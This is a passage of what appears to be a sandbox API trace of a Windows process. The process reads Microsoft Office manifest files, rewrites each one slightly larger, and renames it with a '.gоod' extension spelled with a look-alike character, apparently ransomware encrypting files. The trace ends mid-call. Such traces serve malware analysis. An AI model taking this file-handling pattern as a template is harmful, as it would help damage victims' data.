[0172.940] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0172.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0172.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0172.940] GetFileType (hFile=0x640) returned 0x1 [0172.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0172.940] GetFileType (hFile=0x640) returned 0x1 [0172.940] WriteFile (in: hFile=0x640, lpBuffer=0x3545c48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x3545c48*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0172.940] CloseHandle (hObject=0x640) returned 1 [0172.940] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0172.940] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x5f [0172.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0172.941] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenotemui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd360620a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd360620a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x634aa95e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4a5a)) returned 1 [0172.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0172.941] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenotemui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenotemui.msi.16.en-us.xml.gоod")) returned 1 [0172.942] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x5f [0172.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0172.942] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x33d85a0 | out: lpFileInformation=0x33d85a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd276bb03, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd276bb03, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29a7ddb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f6)) returned 1 [0172.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0172.942] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x5f [0172.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee240) returned 1 [0172.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0172.943] GetFileType (hFile=0x640) returned 0x1 [0172.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee1b0) returned 1 [0172.943] GetFileType (hFile=0x640) returned 0x1 [0172.943] GetFileSize (in: hFile=0x640, lpFileSizeHigh=0x1fbee3e8 | out: lpFileSizeHigh=0x1fbee3e8*=0x0) returned 0x5f6 [0172.943] ReadFile (in: hFile=0x640, lpBuffer=0x33d8f20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee318, lpOverlapped=0x0 | out: lpBuffer=0x33d8f20*, lpNumberOfBytesRead=0x1fbee318*=0x5f6, lpOverlapped=0x0) returned 1 [0172.944] CloseHandle (hObject=0x640) returned 1 [0174.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x5f [0174.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee240) returned 1 [0174.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0174.773] GetFileType (hFile=0x768) returned 0x1 [0174.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee1b0) returned 1 [0174.774] GetFileType (hFile=0x768) returned 0x1 [0174.774] WriteFile (in: hFile=0x768, lpBuffer=0x33db070*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x1fbee228, lpOverlapped=0x0 | out: lpBuffer=0x33db070*, lpNumberOfBytesWritten=0x1fbee228*=0x600, lpOverlapped=0x0) returned 1 [0174.775] CloseHandle (hObject=0x768) returned 1 [0174.775] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x5f [0174.775] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x64 [0174.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0174.775] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd276bb03, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd276bb03, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x64642122, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x600)) returned 1 [0174.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0174.775] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml.gоod")) returned 1 [0174.776] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x56 [0174.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0174.776] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x33dc3a0 | out: lpFileInformation=0x33dc3a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd3593a88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd3593a88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3678904, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b28)) returned 1 [0174.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0174.777] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x56 [0174.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0174.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0174.777] GetFileType (hFile=0x768) returned 0x1 [0174.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0174.777] GetFileType (hFile=0x768) returned 0x1 [0174.777] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0174.777] ReadFile (in: hFile=0x768, lpBuffer=0x33dc848, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x33dc848*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0174.779] CloseHandle (hObject=0x768) returned 1 [0174.779] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x56 [0174.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0174.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0174.779] GetFileType (hFile=0x768) returned 0x1 [0174.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0174.779] GetFileType (hFile=0x768) returned 0x1 [0174.779] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x2b28 [0174.779] WriteFile (in: hFile=0x768, lpBuffer=0x33ddb28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x33ddb28*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0174.780] CloseHandle (hObject=0x768) returned 1 [0174.780] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x56 [0174.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0174.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0174.780] GetFileType (hFile=0x768) returned 0x1 [0174.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0174.781] GetFileType (hFile=0x768) returned 0x1 [0174.781] ReadFile (in: hFile=0x768, lpBuffer=0x33dfe30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x33dfe30*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0175.536] CloseHandle (hObject=0x768) returned 1 [0175.536] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x56 [0175.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0175.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0175.537] GetFileType (hFile=0x768) returned 0x1 [0175.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0175.537] GetFileType (hFile=0x768) returned 0x1 [0175.537] WriteFile (in: hFile=0x768, lpBuffer=0x33d7518*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x33d7518*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0175.537] CloseHandle (hObject=0x768) returned 1 [0175.537] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x56 [0175.537] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x5b [0175.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0175.537] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd3593a88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd3593a88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x64d693a3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b38)) returned 1 [0175.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0175.537] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmmui.msi.16.en-us.xml.gоod")) returned 1 [0175.539] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x63 [0175.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0175.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x378d340 | out: lpFileInformation=0x378d340*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd26acf16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd26acf16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd28c2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x906)) returned 1 [0175.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0175.539] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x63 [0175.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee240) returned 1 [0175.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0175.540] GetFileType (hFile=0x768) returned 0x1 [0175.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee1b0) returned 1 [0175.540] GetFileType (hFile=0x768) returned 0x1 [0175.540] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fbee3e8 | out: lpFileSizeHigh=0x1fbee3e8*=0x0) returned 0x906 [0175.540] ReadFile (in: hFile=0x768, lpBuffer=0x378dff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee318, lpOverlapped=0x0 | out: lpBuffer=0x378dff0*, lpNumberOfBytesRead=0x1fbee318*=0x906, lpOverlapped=0x0) returned 1 [0175.652] CloseHandle (hObject=0x768) returned 1 [0177.302] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x63 [0177.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee240) returned 1 [0177.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0177.303] GetFileType (hFile=0x6e0) returned 0x1 [0177.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee1b0) returned 1 [0177.303] GetFileType (hFile=0x6e0) returned 0x1 [0177.303] WriteFile (in: hFile=0x6e0, lpBuffer=0x3488660*, nNumberOfBytesToWrite=0x910, lpNumberOfBytesWritten=0x1fbee228, lpOverlapped=0x0 | out: lpBuffer=0x3488660*, lpNumberOfBytesWritten=0x1fbee228*=0x910, lpOverlapped=0x0) returned 1 [0177.304] CloseHandle (hObject=0x6e0) returned 1 [0177.304] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x63 [0177.304] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x68 [0177.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0177.304] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26acf16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd26acf16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x65e3fdae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x910)) returned 1 [0177.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0177.304] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml.gоod")) returned 1 [0177.306] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0177.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0177.306] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x34899a8 | out: lpFileInformation=0x34899a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd356d87a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd356d87a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd362c40f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b8a)) returned 1 [0177.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0177.306] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0177.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0177.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), 